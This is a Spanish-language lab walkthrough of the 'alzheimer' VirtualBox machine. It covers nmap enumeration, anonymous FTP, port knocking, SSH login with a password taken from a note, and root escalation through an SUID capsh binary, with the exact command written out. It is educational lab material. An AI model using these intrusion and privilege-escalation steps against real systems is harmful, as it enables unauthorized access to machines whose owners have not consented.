Enumeración de servicios
Comenzamos con un escaneo general de puertos y uno específico sobre los abiertos:
nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oG 01-allPorts 192.168.1.147nmap -sC -sV -p21,22,80 -oN 02-targeted 192.168.1.147
Nmap scan report for 192.168.1.147
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.49
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp filtered ssh
80/tcp filtered http
MAC Address: 08:00:27:98:6F:1E (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Port knocking mediante FTP
FTP permite login anónimo, mientras que SSH y HTTP aparecen filtrados, lo que sugiere que se abrirán mediante port knocking.
Un puerto filtered no significa que el servicio esté apagado. Indica que un firewall descarta las sondas y evita determinar si está abierto o cerrado. La combinación de FTP accesible, dos servicios filtrados y una nota con números de puerto justifica probar la secuencia antes de buscar vulnerabilidades en los servicios.
Iniciamos una conexión anónima al FTP:
ftp 192.168.1.147No se listan archivos a simple vista, pero al mostrar los ocultos encontramos .secretnote.txt, que contiene una secuencia de puertos:
File: secretnote.txt
I need to knock this ports and
one door will be open!
1000
2000
3000Hacemos el knock en esa secuencia:
knock -v 192.168.1.147 1000 2000 3000Y repetimos el escaneo, comprobando que SSH y HTTP ya están abiertos:
# Nmap 7.93 scan initiated Sun Oct 15 16:27:42 2023 as: nmap -sC -sV -p21,22,80 -oN 03-targeted-after-knock 192.168.1.147
Nmap scan report for 192.168.1.147
Host is up (0.00018s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.49
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b13b2b36e56bd72a6defbfda0a5d2d43 (RSA)
| 256 35f170aba366f1d6d72cf7d1247a5f2b (ECDSA)
|_ 256 be15fab681d67fabc81c97a5ea11854e (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:98:6F:1E (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 15 16:27:50 2023 -- 1 IP address (1 host up) scanned in 7.57 secondsObtención de acceso por SSH
En el navegador, el código fuente del sitio incluye una pista del usuario medusa y un mensaje en código morse:
I dont remember where I stored my password :( I only remember that was into a .txt file... -medusa
<!---. --- - .... .. -. --. -->El morse -. --- - .... .. -. --. decodifica a NOTHING. Navegamos por los subdirectorios descubiertos con dirb sin hallar nada útil. Al volver al FTP, el .secretnote.txt ha cambiado y ahora incluye lo que parece una contraseña:
File: secretnote.txt
I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!
Ihavebeenalwayshere!!!Como la web indicaba que la contraseña estaba en un .txt y este es el único que encontramos, probamos esas credenciales por SSH con el usuario medusa. Tenemos éxito y obtenemos la primera flag.
La nota de FTP cambió después de abrir los puertos y añadió Ihavebeenalwayshere!!!. La pista de la web, el usuario firmado como medusa y el único archivo de texto disponible conectan las tres evidencias sin recurrir a una fuerza bruta general.
Escalada de privilegios
Para escalar privilegios, revisamos los permisos sudo:
Matching Defaults entries for medusa on alzheimer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User medusa may run the following commands on alzheimer:
(ALL) NOPASSWD: /bin/idid no nos sirve como vía de escalada, así que centramos la enumeración en los binarios con el bit SUID.
La regla de sudo sólo permite mostrar identidades. No escribe archivos, inicia programas ni acepta una ruta controlable. En cambio, un binario susceptible de SUID Binary Abuse se ejecuta con el UID efectivo de su propietario; si pertenece a root y permite cambiar UID, puede convertirse en una vía directa de escalada.
Ejecutamos la búsqueda:
find / -perm -4000 2>/dev/nullNos llama la atención /usr/sbin/capsh, que según GTFOBins permite escalar privilegios.
capsh está diseñado para manipular capabilities y credenciales. El bit SUID hace que arranque con UID efectivo 0; --uid=0 --gid=0 -- conserva ese contexto al abrir la shell resultante.
Lo invocamos fijando UID y GID a 0:
/usr/sbin/capsh --gid=0 --uid=0 --Las notas registran que la shell resultante permitió acceder como root y recuperar la segunda flag, pero no conservaron el prompt ni una salida de id o whoami para mostrar esa confirmación.